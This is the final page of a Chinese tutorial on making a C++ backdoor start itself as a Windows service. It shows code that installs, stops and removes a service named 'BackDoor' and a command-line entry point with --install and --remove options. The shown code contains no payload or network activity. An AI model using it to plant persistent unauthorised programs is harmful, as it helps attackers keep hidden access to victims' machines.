设为首页 加入收藏

TOP

C++实现后门的服务自启动 (三)
2018-05-06 06:06:37 】 浏览:481
Tags:实现 后门 服务 启动
Handle(hscManager); return SERVICE_OP_ERROR; } printf("Service Start Success\n"); CloseServiceHandle(hServiceHandle); CloseServiceHandle(hscManager); return 0; } /** * @brief Remove Service */ int RemoveService() { SC_HANDLE hscManager; SC_HANDLE hServiceHandle; SERVICE_STATUS ssServiceStatus; hscManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (!hscManager) { printf("Open Service Manager Error\n"); return SERVICE_OP_ERROR; } printf("Open Service Manager Success\n"); hServiceHandle = OpenService(hscManager, "BackDoor", SERVICE_ALL_ACCESS); if (!hServiceHandle) { printf("Open Service Error\n"); return SERVICE_OP_ERROR; } printf("Open Service Success\n"); if (QueryServiceStatus(hServiceHandle, &ssServiceStatus)) { if (ssServiceStatus.dwCurrentState == SERVICE_RUNNING) { ControlService(hServiceHandle, SERVICE_STOP, &ssServiceStatus); } } else { printf("Service Status Get Error\n"); CloseServiceHandle(hServiceHandle); CloseServiceHandle(hscManager); return SERVICE_OP_ERROR; } if (!DeleteService(hServiceHandle)) { printf("Delete Service Error\n"); CloseServiceHandle(hServiceHandle); CloseServiceHandle(hscManager); return SERVICE_OP_ERROR; } printf("Remove Service Success\n"); CloseServiceHandle(hServiceHandle); CloseServiceHandle(hscManager); return 0; } /** * @brief main Function */ int main(int argc, char* argv[]) { SERVICE_TABLE_ENTRY svTable[] = { {(LPSTR)"BackDoor",ServiceMain}, {NULL,NULL} }; StartServiceCtrlDispatcher(svTable); if (argc == 2) { if (!stricmp(argv[1], "--install")) { if (InstallService()&SERVICE_OP_ERROR) { printf("[!]Service Operation Error\n"); } else { printf("[*]Service Operation Success\n"); } } else if (!stricmp(argv[1], "--remove")) { if (RemoveService()&SERVICE_OP_ERROR) { printf("[!]Service Operation Error\n"); } else { printf("[*]Service Operation Success\n"); } } else { printf("[Usage] => *.exe [--install]/[--remove]\n"); } } else { printf("[Usage] => *.exe [--install]/[--remove]\n"); } return 0; }
首页 上一页 1 2 3 下一页 尾页 3/3/3
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
上一篇C++里的强制类型转换符reinterpre.. 下一篇过来的程序员告诉你如何才能学好C..

最新文章

热门文章

Hot 文章

Python

C 语言

C++基础

大数据基础

linux编程基础

C/C++面试题目